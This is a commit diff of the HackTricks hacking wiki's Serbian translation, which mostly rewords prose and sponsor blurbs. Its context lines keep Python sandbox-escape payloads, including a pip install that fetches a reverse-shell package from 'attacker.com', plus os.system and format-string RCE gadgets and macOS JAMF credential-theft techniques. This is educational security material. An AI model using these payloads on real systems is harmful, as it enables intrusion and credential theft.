Translated ['README.md', 'generic-methodologies-and-resources/python/byp

This commit is contained in:
Translator 2024-11-09 13:54:55 +00:00
parent 7cf800d84c
commit 8c0d7e98e8
31 changed files with 460 additions and 460 deletions

View file

@ -2,7 +2,7 @@
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logotipi i animacija od_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks logotipi i animacija dizajnirani od_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**Dobrodošli u wiki gde ćete pronaći svaku hacking trik/tehniku/šta god da sam naučio iz CTF-ova, aplikacija iz stvarnog života, čitajući istraživanja i vesti.**
@ -32,7 +32,7 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija manifestacija sajber bezbednosti u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %}
@ -81,9 +81,9 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploite za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -98,8 +98,8 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
**SerpApi** nudi brze i lake API-je u realnom vremenu za **pristup rezultatima pretraživača**. Oni sakupljaju podatke sa pretraživača, upravljaju proxy-ima, rešavaju captcha izazove i analiziraju sve bogate strukturirane podatke za vas.
Pretplata na jedan od planova SerpApi uključuje pristup više od 50 različitih API-ja za sakupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. Odgovori SerpApi dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage.
Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za sakupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. SerpApi odgovori dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage.
Trenutni klijenti SerpApi uključuju **Apple, Shopify i GrubHub**.\
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\
@ -113,7 +113,7 @@ Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** preduzeća **široko u svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
WebSec je **sve-u-jednom bezbednosna kompanija** što znači da rade sve; Pentesting, **Sigurnosne** revizije, Obuke o svesti, Phishing kampanje, Revizija koda, Razvoj eksploata, Outsourcing bezbednosnih stručnjaka i još mnogo toga.
WebSec je **sve-u-jednom bezbednosna kompanija** što znači da rade sve; Pentesting, **Sigurnosne** revizije, Obuke o svesti, Phishing kampanje, Revizija koda, Razvoj eksploita, Outsourcing sigurnosnih stručnjaka i još mnogo toga.
Još jedna zanimljiva stvar o WebSec-u je da, za razliku od proseka u industriji, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako stoji na njihovom sajtu "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
@ -142,7 +142,7 @@ Učite i vežbajte GCP Hacking: <img src=".gitbook/assets/grte.png" alt="" data-
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskorišćive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
Ovo su neki trikovi za zaobilaženje zaštita python sandboksa i izvršavanje proizvoljnih komandi.
## Command Execution Libraries
## Biblioteke za izvršavanje komandi
Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa nekom već uvezenom bibliotekom, ili ako možete uvesti neku od ovih biblioteka:
```python
@ -102,7 +102,7 @@ Ako imate pristup `pip` ili `pip.main()`, možete instalirati proizvoljan paket
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Možete preuzeti paket za kreiranje reverzne ljuske ovde. Molimo vas da pre korišćenja **dekompresujete, promenite `setup.py` i stavite svoju IP adresu za reverznu ljusku**:
Možete preuzeti paket za kreiranje reverzne ljuske ovde. Molimo vas da napomenete da pre korišćenja treba **dekompresovati, promeniti `setup.py` i staviti vašu IP adresu za reverznu ljusku**:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
@ -113,7 +113,7 @@ Ovaj paket se zove `Reverse`. Međutim, posebno je napravljen tako da kada napus
## Eval-ovanje python koda
{% hint style="warning" %}
Imajte na umu da exec omogućava višelinijske stringove i ";", ali eval ne (proverite operator vidre)
Napomena da exec omogućava višelinijske stringove i ";", ali eval ne (proverite operator vidre)
{% endhint %}
Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **zaobiđete** ograničenje:
@ -207,7 +207,7 @@ Ako možete **deklarisati klasu** i **napraviti objekat** te klase, mogli biste
#### RCE sa prilagođenim klasama
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da ih **izvršavaju proizvoljan kod** kada su **pokrenute** bez direktnog pozivanja.
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da izvršavaju **arbitrarni kod** kada su **pokrenute** bez direktnog pozivanja.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -342,7 +342,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
Kada nemate `__builtins__`, nećete moći da uvezete ništa niti čak da čitate ili pišete fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
Međutim, **po defaultu, python učitava mnogo modula u memoriju**. Ovi moduli mogu delovati benigno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe koje se mogu iskoristiti za dobijanje čak i **arbitrary code execution**.
U sledećim primerima možete posmatrati kako da **zloupotrebite** neke od ovih "**benignih**" modula učitanih da **pristupite** **opasnim** **funkcionalnostima** unutar njih.
U sledećim primerima možete posmatrati kako da **abuzujete** neke od ovih "**benignih**" modula učitanih da **pristupite** **opasnim** **funkcionalnostima** unutar njih.
**Python2**
```python
@ -430,7 +430,7 @@ class_obj.__init__.__globals__
## Otkrijte proizvoljnu izvršavanje
Ovde želim da objasnim kako lako otkriti **opasnije funkcionalnosti koje su učitane** i predložiti pouzdanije eksploate.
Ovde želim da objasnim kako lako otkriti **opasnije funkcionalnosti koje su učitane** i predložim pouzdanije eksploate.
#### Pristupanje podklasama sa zaobilaženjima
@ -464,7 +464,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### Pronalazak opasnih učitanih biblioteka
Na primer, znajući da sa bibliotekom **`sys`** može da se **uvezu proizvoljne biblioteke**, možete pretražiti sve **module koji su učitani i koji imaju uvezen sys unutar njih**:
Na primer, znajući da sa bibliotekom **`sys`** može da se **uvezu proizvoljne biblioteke**, možete pretraživati sve **učitane module koji imaju uvezen sys unutar njih**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -731,7 +731,7 @@ return 'HAL 9000'
**Više primera** o **format** **string** primerima može se naći na [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %}
Proverite i sledeću stranicu za gadgete koji će r**ešavati osetljive informacije iz Python internih objekata**:
Proverite i sledeću stranicu za gadgete koji će r**ešiti osetljive informacije iz Python internih objekata**:
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
@ -762,7 +762,7 @@ Kao podsetnik, svaki put kada se izvrši neka akcija u pythonu, neka funkcija se
Imate više ovakvih u sekciji [**Python izvršenje bez poziva**](./#python-execution-without-calls).
Ranjivost format string u pythonu ne dozvoljava izvršavanje funkcije (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\
Ranjivost format string u pythonu ne omogućava izvršavanje funkcije (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\
Međutim, moguće je koristiti `[]`. Stoga, ako neka uobičajena python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće je zloupotrebiti ih da se dobije RCE.
Tražeći takav gadget u pythonu, izveštaj predlaže ovu [**Github pretragu**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Gde je pronašao ovu [jednu](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
@ -787,7 +787,7 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Ovaj uređaj omogućava **učitavanje biblioteke sa diska**. Stoga, potrebno je na neki način **napisati ili otpremiti biblioteku za učitavanje** ispravno kompajlirane na napadnuti server.
Ovaj uređaj omogućava **učitavanje biblioteke sa diska**. Stoga, potrebno je na neki način **napisati ili otpremiti biblioteku za učitavanje** ispravno kompajliranu na napadnuti server.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
@ -799,7 +799,7 @@ Izazov zapravo koristi drugu ranjivost na serveru koja omogućava kreiranje proi
Ako želite da **naučite** o **python bytecode** detaljno, pročitajte ovaj **sjajan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
U nekim CTF-ovima možete dobiti ime **prilagođene funkcije u kojoj se nalazi flag** i potrebno je da pogledate **unutrašnjost** **funkcije** da biste ga izvukli.
U nekim CTF-ovima možete dobiti ime **prilagođene funkcije u kojoj se nalazi flag** i morate da pogledate **unutrašnjost** **funkcije** da biste ga izvukli.
Ovo je funkcija koju treba ispitati:
```python
@ -834,7 +834,7 @@ CustomClassObject.__class__.__init__.__globals__
### **Pristupanje kodu funkcije**
**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da **dobijete objekat koda** funkcije.
**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da **dobijete kod objekta** funkcije.
```python
# In our current example
get_flag.__code__
@ -922,7 +922,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Napomena da **ako ne možete da uvezete `dis` u python sandboxu** možete dobiti **bajt kod** funkcije (`get_flag.func_code.co_code`) i **dezintegrisati** ga lokalno. Nećete videti sadržaj varijabli koje se učitavaju (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje pomeraj varijable koja se učitava.
Napomena da **ako ne možete da uvezete `dis` u python sandboxu** možete dobiti **bajt kod** funkcije (`get_flag.func_code.co_code`) i **dezintegrisati** ga lokalno. Nećete videti sadržaj promenljivih koje se učitavaju (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje offset promenljive koja se učitava.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -962,7 +962,7 @@ return "Nope"
```
### Creating the code object
Prvo, moramo znati **kako da kreiramo i izvršimo objekat koda** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije leak:
Prvo, moramo znati **kako da kreiramo i izvršimo kod objekat** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije leak:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -1060,7 +1060,7 @@ Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.de
### Assert
Python koji se izvršava sa optimizacijama sa parametrom `-O` će ukloniti assert izjave i bilo koji kod uslovljen vrednošću **debug**.\
Stoga, provere kao što su
Stoga, provere kao
```python
def check_permission(super_user):
try:
@ -1082,9 +1082,9 @@ will be bypassed
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,13 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Zloupotreba MDM-a
## Zloupotreba MDM-ova
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
@ -42,7 +42,7 @@ MDM će imati dozvolu da instalira, upita ili ukloni profile, instalira aplikaci
Da biste pokrenuli svoj MDM, potrebno je da **vaš CSR potpiše dobavljač** što možete pokušati da dobijete putem [**https://mdmcert.download/**](https://mdmcert.download/). A da biste pokrenuli svoj MDM za Apple uređaje, možete koristiti [**MicroMDM**](https://github.com/micromdm/micromdm).
Međutim, da biste instalirali aplikaciju na registrovanom uređaju, i dalje je potrebno da bude potpisana od strane developerskog naloga... međutim, prilikom MDM registracije, **uređaj dodaje SSL certifikat MDM-a kao pouzdanu CA**, tako da sada možete potpisati bilo šta.
Međutim, da biste instalirali aplikaciju na registrovanom uređaju, i dalje je potrebno da bude potpisana od strane developerskog naloga... međutim, prilikom registracije MDM-a, **uređaj dodaje SSL certifikat MDM-a kao pouzdan CA**, tako da sada možete potpisati bilo šta.
Da biste registrovali uređaj u MDM, potrebno je da instalirate **`mobileconfig`** datoteku kao root, koja se može isporučiti putem **pkg** datoteke (možete je kompresovati u zip, a kada se preuzme iz safarija, biće dekompresovana).
@ -66,10 +66,10 @@ Možete koristiti skriptu [**JamfSniper.py**](https://github.com/WithSecureLabs/
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
**`jamf`** binarni fajl sadrži tajnu za otvaranje keychain-a koja je u vreme otkrića bila **deljena** među svima i to je bila: **`jk23ucnq91jfu9aj`**.\
**`jamf`** binarni sadržao je tajnu za otvaranje keychain-a koja je u vreme otkrića bila **deljena** među svima i bila je: **`jk23ucnq91jfu9aj`**.\
Štaviše, jamf **persistira** kao **LaunchDaemon** u **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Preuzimanje JAMF uređaja
#### Preuzimanje uređaja JAMF
**JSS** (Jamf Software Server) **URL** koji će **`jamf`** koristiti nalazi se u **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Ova datoteka u suštini sadrži URL:
@ -105,7 +105,7 @@ Da biste **imitirali komunikaciju** između uređaja i JMF-a, potrebno je:
* **UUID** uređaja: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* **JAMF ključanica** iz: `/Library/Application\ Support/Jamf/JAMF.keychain` koja sadrži sertifikat uređaja
Sa ovom informacijom, **napravite VM** sa **ukradenim** Hardver **UUID** i sa **onemogućenim SIP**, prebacite **JAMF ključanicu,** **priključite** Jamf **agent** i ukradite njegove informacije.
Sa ovom informacijom, **napravite VM** sa **ukradenim** Hardver **UUID** i sa **onemogućenim SIP**, prebacite **JAMF ključanicu,** **hook**-ujte Jamf **agent** i ukradite njegove informacije.
#### Krađa tajni
@ -113,7 +113,7 @@ Sa ovom informacijom, **napravite VM** sa **ukradenim** Hardver **UUID** i sa **
Takođe možete pratiti lokaciju `/Library/Application Support/Jamf/tmp/` za **prilagođene skripte** koje administratori možda žele da izvrše putem Jamf-a, jer su **ovde smeštene, izvršene i uklonjene**. Ove skripte **mogu sadržati akreditive**.
Međutim, **akreditivi** se mogu proslediti ovim skriptama kao **parametri**, pa biste trebali pratiti `ps aux | grep -i jamf` (čak i bez da budete root).
Međutim, **akreditivi** se mogu proslediti ovim skriptama kao **parametri**, pa bi trebalo da pratite `ps aux | grep -i jamf` (čak i bez da budete root).
Skripta [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) može slušati nove datoteke koje se dodaju i nove argumente procesa.
@ -125,7 +125,7 @@ I takođe o **MacOS** "posebnim" **mrežnim** **protokolima**:
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
{% endcontent-ref %}
## Aktivni Direktorijum
## Active Directory
U nekim slučajevima ćete otkriti da je **MacOS računar povezan sa AD**. U ovom scenariju trebali biste pokušati da **enumerišete** aktivni direktorijum kao što ste navikli. Pronađite neku **pomoć** na sledećim stranicama:
@ -148,7 +148,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
Takođe postoje neki alati pripremljeni za MacOS koji automatski enumerišu AD i igraju se sa kerberosom:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound je ekstenzija za Bloodhound alat za reviziju koja omogućava prikupljanje i unos odnosa Active Directory na MacOS hostovima.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost je Objective-C projekat dizajniran za interakciju sa Heimdal krb5 API-ima na macOS-u. Cilj projekta je omogućiti bolje testiranje bezbednosti oko Kerberosa na macOS uređajima koristeći nativne API-je bez potrebe za bilo kojim drugim okvirom ili paketima na meti.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost je Objective-C projekat dizajniran za interakciju sa Heimdal krb5 API-ima na macOS-u. Cilj projekta je omogućiti bolje testiranje bezbednosti oko Kerberosa na macOS uređajima koristeći nativne API-je bez potrebe za bilo kojim drugim okvirom ili paketima na cilju.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript za automatizaciju (JXA) alat za izvršavanje enumeracije Active Directory.
### Informacije o domeni
@ -159,7 +159,7 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
Tri tipa MacOS korisnika su:
* **Lokalni korisnici** — Upravlja ih lokalna OpenDirectory usluga, nisu povezani na bilo koji način sa Active Directory.
* **Lokalni korisnici** — Upravlja ih lokalna OpenDirectory usluga, nisu na bilo koji način povezani sa Active Directory.
* **Mrežni korisnici** — Volatilni Active Directory korisnici koji zahtevaju vezu sa DC serverom za autentifikaciju.
* **Mobilni korisnici** — Active Directory korisnici sa lokalnom rezervnom kopijom svojih kredencijala i fajlova.
@ -235,13 +235,13 @@ Keychain verovatno sadrži osetljive informacije koje, ako se pristupi bez gener
## Spoljni servisi
MacOS Red Teaming se razlikuje od regularnog Windows Red Teaming-a jer obično **MacOS je integrisan sa nekoliko spoljnih platformi direktno**. Uobičajena konfiguracija MacOS-a je pristup računaru koristeći **OneLogin sinhronizovane akreditive, i pristupanje nekoliko spoljnih servisa** (kao što su github, aws...) putem OneLogin-a.
MacOS Red Teaming se razlikuje od regularnog Windows Red Teaming-a jer je obično **MacOS integrisan sa nekoliko spoljnjih platformi direktno**. Uobičajena konfiguracija MacOS-a je pristup računaru koristeći **OneLogin sinhronizovane akreditive, i pristupanje nekoliko spoljnjih servisa** (kao što su github, aws...) putem OneLogin-a.
## Razne tehnike crvenog tima
### Safari
Kada se fajl preuzme u Safariju, ako je to "siguran" fajl, biće **automatski otvoren**. Tako da, na primer, ako **preuzmete zip**, biće automatski raspakovan:
Kada se datoteka preuzme u Safariju, ako je to "sigurna" datoteka, biće **automatski otvorena**. Dakle, na primer, ako **preuzmete zip**, biće automatski raspakovana:
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
@ -255,9 +255,9 @@ Kada se fajl preuzme u Safariju, ako je to "siguran" fajl, biće **automatski ot
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatske eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -271,7 +271,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information
## Osnovne informacije
**OPC UA**, što znači **Open Platform Communications Unified Access**, je ključni open-source protokol koji se koristi u raznim industrijama kao što su proizvodnja, energija, vazduhoplovstvo i odbrana za razmenu podataka i kontrolu opreme. Omogućava jedinstvenu komunikaciju opreme različitih proizvođača, posebno sa PLC-ovima.
